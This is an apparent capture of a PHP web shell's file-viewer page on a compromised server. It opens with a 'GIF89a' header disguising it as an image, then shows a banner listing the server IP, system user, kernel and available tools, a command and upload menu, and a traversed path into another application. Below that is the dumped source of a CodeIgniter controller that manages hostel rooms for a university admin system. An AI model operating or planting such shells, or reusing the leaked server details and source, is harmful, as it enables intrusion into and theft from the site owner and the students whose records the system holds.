GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.116.15.22 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of HostelConfig * * @author Softpro India Pvt. Ltd. */ class HostelConfig extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/HostelManagement'); $this->load->model('admin/FeeManagement'); $this->load->model("admin/CourseManagement"); $this->load->model("admin/StudentManagement"); $this->load->model("admin/SessionManagement"); } public function rooms() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allrooms'] = $this->HostelManagement->getRooms()->result(); $this->load->view('admin/hostel/rooms', $viewData); } else { redirect("admin/"); } } public function createRoom() { if ($this->sessionvalidator->isLoggedIn()) { $viewdata["roomtypes"] = $this->HostelManagement->getAllActiveRoomType()->result(); $this->load->view('admin/hostel/createRoom', $viewdata); } else { redirect("admin/"); } } public function getFeesByRoomTypes() { if ($this->sessionvalidator->isLoggedIn()) { $room_type = $this->input->post("room_type"); $roomFeeInfo = $this->HostelManagement->getFeeByRoomTypeId($room_type)->result(); if (sizeof($roomFeeInfo)) { $roomFee = $this->HostelManagement->getFeeByRoomTypeId($room_type)->result()[0]->fhom_fees; } else { $roomFee = 00.00; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'roomFee' => $roomFee ); echo json_encode($responseData); } else { redirect("admin/"); } } public function saveRoom() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules("room_name", "Room Name", "required", array("required" => "Enter Room Name")); $this->form_validation->set_rules("room_type", "Room Type", "required", array("required" => "Enter Room Type")); $room_name = addslashes(trim($this->input->post("room_name"))); $room_type = $this->input->post("room_type"); if ($this->form_validation->run() == FALSE) { $this->createRoom(); } else if (sizeof($this->HostelManagement->getByRoomNumber($room_name, '')->result())) { $this->session->set_flashdata('errorMessage', 'Room Number Alredy Exits.'); $this->createRoom(); } else { $RoomInfo = array( "hrm_number" => $room_name, "fhom_id" => $room_type, "hrm_added_on" => date("Y-m-d H:i:s"), "hrm_updated_on" => date("Y-m-d H:i:s"), "hrm_updated_by" => $this->session->userdata("adminData")["smember_id"], "hrm_added_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->HostelManagement->createNewRoom($RoomInfo)) { $this->session->set_flashdata('successMessage', 'Room Added Successfully.'); redirect('admin/HostelConfig/rooms'); $this->rooms(); } else { $this->session->set_flashdata('errorMessage', 'Failed To Add Room.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleRoomStatus($room_id, $changedStatus) { if ($this->sessionvalidator->isLoggedIn()) { $updateData = array( 'hrm_updated_on' => date("Y-m-d H:i:s"), 'hrm_active_status' => $changedStatus ); if ($this->HostelManagement->updateRoom($room_id, $updateData)) { $this->session->set_flashdata('successMessage', 'Room Disabled Successfully.'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Disbled Room.'); redirect("admin/HostelConfig/rooms"); } } else { redirect("admin/"); } } public function undotoggleRoomStatus($room_id) { if ($this->sessionvalidator->isLoggedIn()) { $updateData = array( 'hrm_id' => $room_id, 'hrm_updated_on' => date("Y-m-d H:i:s"), 'hrm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'hrm_active_status' => 'T' ); if ($this->HostelManagement->updateRoom($room_id, $updateData)) { $this->session->set_flashdata('successMessage', 'Room Enabled Successfully.'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Room. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function toggleRoomDeleteStatus($room_id, $changedStatus) { if ($this->sessionvalidator->isLoggedIn()) { $updateData = array( 'hrm_updated_on' => date("Y-m-d H:i:s"), 'hrm_delete_status' => $changedStatus ); if ($this->HostelManagement->updateRoom($room_id, $updateData)) { $this->session->set_flashdata('successMessage', 'Room Deleted Successfully.'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Delete Room.'); redirect("admin/HostelConfig/rooms"); } } else { redirect("admin/"); } } public function undoDeleteRoom($room_id) { if ($this->sessionvalidator->isLoggedIn()) { $updateData = array( 'hrm_id' => $room_id, 'hrm_updated_on' => date("Y-m-d H:i:s"), 'hrm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'hrm_delete_status' => 'F' ); if ($this->HostelManagement->updateRoom($room_id, $updateData)) { $this->session->set_flashdata('successMessage', 'Room Recovered Successfully.'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Room. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function editRoom($id) { if ($this->sessionvalidator->isLoggedIn()) { $upd['allrooms'] = $this->HostelManagement->getAllRoomType()->result(); $upd['room'] = $this->HostelManagement->getRoomId($id)->result()[0]; $this->load->view('admin/Hostel/editRoom', $upd); } else { redirect("admin/"); } } public function updateRoom() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules("room_name", "Room Name", "required", array("required" => "Enter Room Name")); $this->form_validation->set_rules("room_type", "Room Type", "required", array("required" => "Enter Room Type")); $room_name = addslashes(trim($this->input->post("room_name"))); $room_type = $this->input->post("room_type"); $id = $this->input->post("id"); if ($this->form_validation->run() == FALSE) { $this->editRoom($id); } else if (sizeof($this->HostelManagement->getByRoomNumberById($room_name, $id)->result())) { $this->session->set_flashdata('errorMessage', 'Room Number Alredy Exits.'); $this->editRoom($id); } else { $updateRoomInfo = array( "hrm_number" => $room_name, "fhom_id" => $room_type, "hrm_added_on" => date("Y-m-d H:i:s"), "hrm_updated_on" => date("Y-m-d H:i:s"), "hrm_updated_by" => $this->session->userdata("adminData")["smember_id"], "hrm_added_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->HostelManagement->updateRoom($id, $updateRoomInfo)) { $this->session->set_flashdata('successMessage', 'Room Updated Successfully.'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Update Room.'); $this->editRoom($id); } } } else { redirect("admin/"); } } public function toggleRoomMaintainence($room_id, $changedStatus) { if ($this->sessionvalidator->isLoggedIn()) { $updateData = array( 'hrm_updated_on' => date("Y-m-d H:i:s"), 'hrm_maintenance' => $changedStatus ); if ($this->HostelManagement->updateRoom($room_id, $updateData)) { $this->session->set_flashdata('successMessage', 'Room is under Maintainence'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Disbled Maintainence.'); redirect("admin/HostelConfig/rooms"); } } else { redirect("admin/"); } } public function undoRoomMaintainence($room_id) { if ($this->sessionvalidator->isLoggedIn()) { $updateData = array( 'hrm_id' => $room_id, 'hrm_updated_on' => date("Y-m-d H:i:s"), 'hrm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'hrm_maintenance' => 'F' ); if ($this->HostelManagement->updateRoom($room_id, $updateData)) { $this->session->set_flashdata('successMessage', 'Maintainence Completed Successfully'); redirect("admin/HostelConfig/rooms"); } else { $this->session->set_flashdata('errorsMessage', 'Some Error Occurred While Recovering from Maintainence. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function allotRoomToStudent() { $viewData["allotments"] = $this->FeeManagement->getNonDeletedOptionalFeeHeadsBy('H')->result(); $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result(); $viewData["routes"] = $this->HostelManagement->getActiveRoomsRoomTypeAlloted()->result(); $viewData["courses"] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['selectedSemOrYear'] = ""; $viewData['selectedHead'] = ""; $viewData['selectedSession'] = ""; $viewData['allotmentData'] = array(); if (isset($_POST['filterSubmitBtn'])) { $this->form_validation->set_rules("route", "Route Head", "required", array("required" => "Please Select Room Type")); $this->form_validation->set_rules("session", "Session Head", "required", array("required" => "Please Select Session")); if ($this->form_validation->run() == false) { $this->load->view("admin/hostel/allotRoomToStudent", $viewData); } else { $reqCourse = trim($this->input->post("Course")); $reqSemOrYear = trim($this->input->post("CourseSemOrYear")); $head = trim($this->input->post("route")); $reqSession = trim($this->input->post("session")); $viewData['selectedSemOrYear'] = $reqSemOrYear; $viewData['selectedHead'] = $head; $viewData['selectedSession'] = $reqSession; $viewData['allotmentData'] = $this->HostelManagement->getAllStudentWhoseFeesIsPaidBy($reqCourse, $reqSemOrYear, $head, $reqSession)->result(); $viewData['rooms'] = $this->HostelManagement->getAllRoomByRoomHead($head)->result(); $this->load->view('admin/hostel/allotRoomToStudent', $viewData); unset($_POST['filterSubmitBtn']); } } else { $this->load->view("admin/hostel/allotRoomToStudent", $viewData); } } public function saveRoomAllocationDetails() { if ($this->sessionvalidator->isLoggedIn()) { $room = $this->input->post('room'); $tspi_id = $this->input->post('selected_tspi_id'); $session = $this->input->post("session_id"); $head = $this->input->post("hostelHead"); $array = array( 'hrm_id' => $room, 'sha_session' => $session, 'tspi_id' => $tspi_id, 'fhom_id' => $head, 'sha_allotted_on' => date("Y-m-d H:i:s"), 'sha_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'sha_updated_on' => date("Y-m-d H:i:s"), 'sha_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->db->trans_start(); if ($this->HostelManagement->createRoomAllotment($array)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Room Allotted Successfully.'); redirect("admin/HostelConfig/allotRoomToStudent"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Room To Student. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function roomAllotments() { if ($this->sessionvalidator->isLoggedIn()) { $viewData["allotments"] = $this->FeeManagement->getNonDeletedOptionalFeeHeadsBy('H')->result(); $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result(); $viewData["roomHead"] = $this->HostelManagement->getActiveRoomsRoomTypeAlloted()->result(); $viewData["courses"] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['selectedSemOrYear'] = ""; $viewData['selectedRoom'] = ""; $viewData['selectedHead'] = ""; $viewData['selectedSession'] = ""; $viewData['allotmentData'] = array(); if (isset($_POST['filterSubmitBtn'])) { $this->form_validation->set_rules("session", "Session Head", "required", array("required" => "Please Select Session")); if ($this->form_validation->run() == false) { $this->load->view("admin/hostel/roomAllotments", $viewData); } else { $reqCourse = trim($this->input->post("Course")); $reqSemOrYear = trim($this->input->post("CourseSemOrYear")); $hrm_id = trim($this->input->post("room")); $head = trim($this->input->post("roomHead")); $reqSession = trim($this->input->post("session")); $viewData['selectedSemOrYear'] = $reqSemOrYear; $viewData['selectedRoom'] = $hrm_id; $viewData['selectedHead'] = $head; $viewData['selectedSession'] = $reqSession; $viewData['allotmentData'] = $this->HostelManagement->getAllottedStudentToRoomInfoBy($reqCourse, $reqSemOrYear, $head, $hrm_id, $reqSession)->result(); $viewData['rooms'] = $this->HostelManagement->getAllRoomByRoomHead($head)->result(); $this->load->view('admin/hostel/roomAllotments', $viewData); unset($_POST['filterSubmitBtn']); } } else { $this->load->view("admin/hostel/roomAllotments", $viewData); } } else { redirect("admin/"); } } public function getCourseSemesterOrYearForDropDown() { $course_id = $_POST['course_id']; $selectedSemOrYear = $_POST['selectedSemOrYear']; $course_info = $this->CourseManagement->getCoursesBy($course_id)->result(); if (sizeof($course_info)) { $thisCourseInfo = $course_info[0]; if ($thisCourseInfo->course_time_mgmt_flag == "S") { $options = "<option value=''>Select Semester</option>"; for ($i = 0; $i < $thisCourseInfo->course_no_of_sems; $i++) { $selected = ($selectedSemOrYear == ($i + 1)) ? "selected" : ""; $options .= "<option " . $selected . " value=" . ($i + 1) . ">" . ($i + 1) . " Semester</option>"; } } else if ($thisCourseInfo->course_time_mgmt_flag == "Y") { $options = "<option value=''>Select Year</option>"; for ($i = 0; $i < $thisCourseInfo->course_no_of_sems; $i++) { $selected = ($selectedSemOrYear == ($i + 1)) ? "selected" : ""; $options .= "<option " . $selected . " value=" . ($i + 1) . ">" . ($i + 1) . " Year</option>"; } } else { $options = "<option value=''>Select Trimester</option>"; for ($i = 0; $i < $thisCourseInfo->course_no_of_sems; $i++) { $selected = ($selectedSemOrYear == ($i + 1)) ? "selected" : ""; $options .= "<option " . $selected . " value=" . ($i + 1) . ">" . ($i + 1) . " Trimester</option>"; } } } else { $options = "<option value=''>This Course Is No Longer Available</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'sem_year_list' => $options ); echo json_encode($responseData); } public function getNonAllocatedRoomsByRoomHead() { if ($this->sessionvalidator->isLoggedIn()) { $head = $this->input->post("head"); $session = $this->input->post("session"); $rooms = $this->HostelManagement->getAllRoomsByForJSON($head)->result(); $roomArray = array(); $options = ""; if (sizeof($rooms)) { for ($i = 0; $i < sizeof($rooms); $i++) { $roomAllocatmentInfo = $this->HostelManagement->getRoomAllotmentInfo($session, $rooms[$i]->hrm_id)->result(); if (sizeof($roomAllocatmentInfo)) { if (($rooms[$i]->fhom_capacity - $roomAllocatmentInfo[0]->vacancyInfo) != 0) { array_push($roomArray, array( 'room_id' => $rooms[$i]->hrm_id, 'room_no' => $rooms[$i]->hrm_number, 'vacant' => $rooms[$i]->fhom_capacity - $roomAllocatmentInfo[0]->vacancyInfo )); } } else { array_push($roomArray, array( 'room_id' => $rooms[$i]->hrm_id, 'room_no' => $rooms[$i]->hrm_number, 'vacant' => $rooms[$i]->fhom_capacity )); } } $options = "<option value=''>Select Room</option>"; for ($i = 0; $i < (sizeof($roomArray)); $i++) { $options .= "<option value=" . $roomArray[$i]["room_id"] . ">" . $roomArray[$i]["room_no"] . " - Vacancy [" . $roomArray[$i]["vacant"] . "] </option>"; } } else { $options = "<option value=''>Select Room</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'rooms' => $options ); echo json_encode($responseData); } else { redirect("admin/"); } } public function getRoomsByRoomHead() { if ($this->sessionvalidator->isLoggedIn()) { $head = $this->input->post("roomHead"); $room = $this->input->post("selectedRoom"); $old_hrm_id = $this->input->post("hrm_id"); $rooms = $this->HostelManagement->getAllRoomsByForJSON($head, $old_hrm_id)->result(); $options = ""; if (sizeof($rooms)) { $options = "<option value=''>Select Room</option>"; for ($i = 0; $i < (sizeof($rooms)); $i++) { $selected = ($room == $rooms[$i]->hrm_id) ? "selected" : ""; $options .= "<option " . $selected . " value=" . $rooms[$i]->hrm_id . ">" . $rooms[$i]->hrm_number . " </option>"; } } else { $options = "<option value=''>Select Room</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'rooms' => $options ); echo json_encode($responseData); } else { redirect("admin/"); } } public function vacantRooms() { if ($this->sessionvalidator->isLoggedIn()) { $roomInfoArray = array(); $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions(array('session_status' => "C", "N"))->result(); $viewData["roomHead"] = $this->HostelManagement->getActiveRoomsRoomTypeAlloted()->result(); $viewData['selectedHead'] = ""; $viewData['selectedSession'] = ""; $viewData["roomInfoArray"] = $roomInfoArray; $totalVacancy = 0; if (isset($_POST['filterSubmitBtn'])) { $this->form_validation->set_rules("session", "Session Head", "required", array("required" => "Please Select Session")); if ($this->form_validation->run() == false) { $this->load->view("admin/hostel/vacantRooms", $viewData); } else { $head = trim($this->input->post("roomHead")); $reqSession = trim($this->input->post("session")); $viewData['selectedHead'] = $head; $viewData['selectedSession'] = $reqSession; $rooms = $this->HostelManagement->getAllRoomByRoomHead($head)->result(); if (sizeof($rooms)) { for ($i = 0; $i < sizeof($rooms); $i++) { $allotedRoomInfo = $this->HostelManagement->getRoomAllotmentInfo($reqSession, $rooms[$i]->hrm_id)->result(); if (sizeof($allotedRoomInfo)) { if (($rooms[$i]->fhom_capacity - $allotedRoomInfo[0]->vacancyInfo) != 0) { array_push($roomInfoArray, array( 'head' => $rooms[$i]->fhom_name, 'room_id' => $rooms[$i]->hrm_id, 'room_no' => $rooms[$i]->hrm_number, 'totalBed' => $rooms[$i]->fhom_capacity, 'vacancy' => $rooms[$i]->fhom_capacity - $allotedRoomInfo[0]->vacancyInfo )); $totalVacancy = $totalVacancy + ($rooms[$i]->fhom_capacity - $allotedRoomInfo[0]->vacancyInfo); } } else { array_push($roomInfoArray, array( 'head' => $rooms[$i]->fhom_name, 'room_id' => $rooms[$i]->hrm_id, 'room_no' => $rooms[$i]->hrm_number, 'totalBed' => $rooms[$i]->fhom_capacity, 'vacancy' => $rooms[$i]->fhom_capacity )); $totalVacancy = $totalVacancy + $rooms[$i]->fhom_capacity; } } $viewData["totalVacancy"] = $totalVacancy; $viewData["roomInfoArray"] = $roomInfoArray; } else { $viewData["roomInfoArray"] = $roomInfoArray; } $viewData["totalVacancy"] = $totalVacancy; $this->load->view('admin/hostel/vacantRooms', $viewData); unset($_POST['filterSubmitBtn']); } } else { $viewData["roomInfoArray"] = $roomInfoArray; $this->load->view("admin/hostel/vacantRooms", $viewData); } } else { redirect("admin/"); } } public function updateRoomAllocationDetails() { if ($this->sessionvalidator->isLoggedIn()) { $room = $this->input->post('newroom'); $tspi_id = $this->input->post('selected_tspi_id'); $session = $this->input->post("session_id"); $head = $this->input->post("roomHeadForUpdate"); $sha_id = $this->input->post("sha_id"); $array = array( 'hrm_id' => $room, 'sha_session' => $session, 'tspi_id' => $tspi_id, 'fhom_id' => $head, 'sha_updated_on' => date("Y-m-d H:i:s"), 'sha_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->db->trans_start(); if ($this->HostelManagement->updateRoomAllotment($array,$sha_id)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Room HAs Been Updated Successfully.'); redirect("admin/HostelConfig/roomAllotments"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Room To Existing Room Allotement. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } }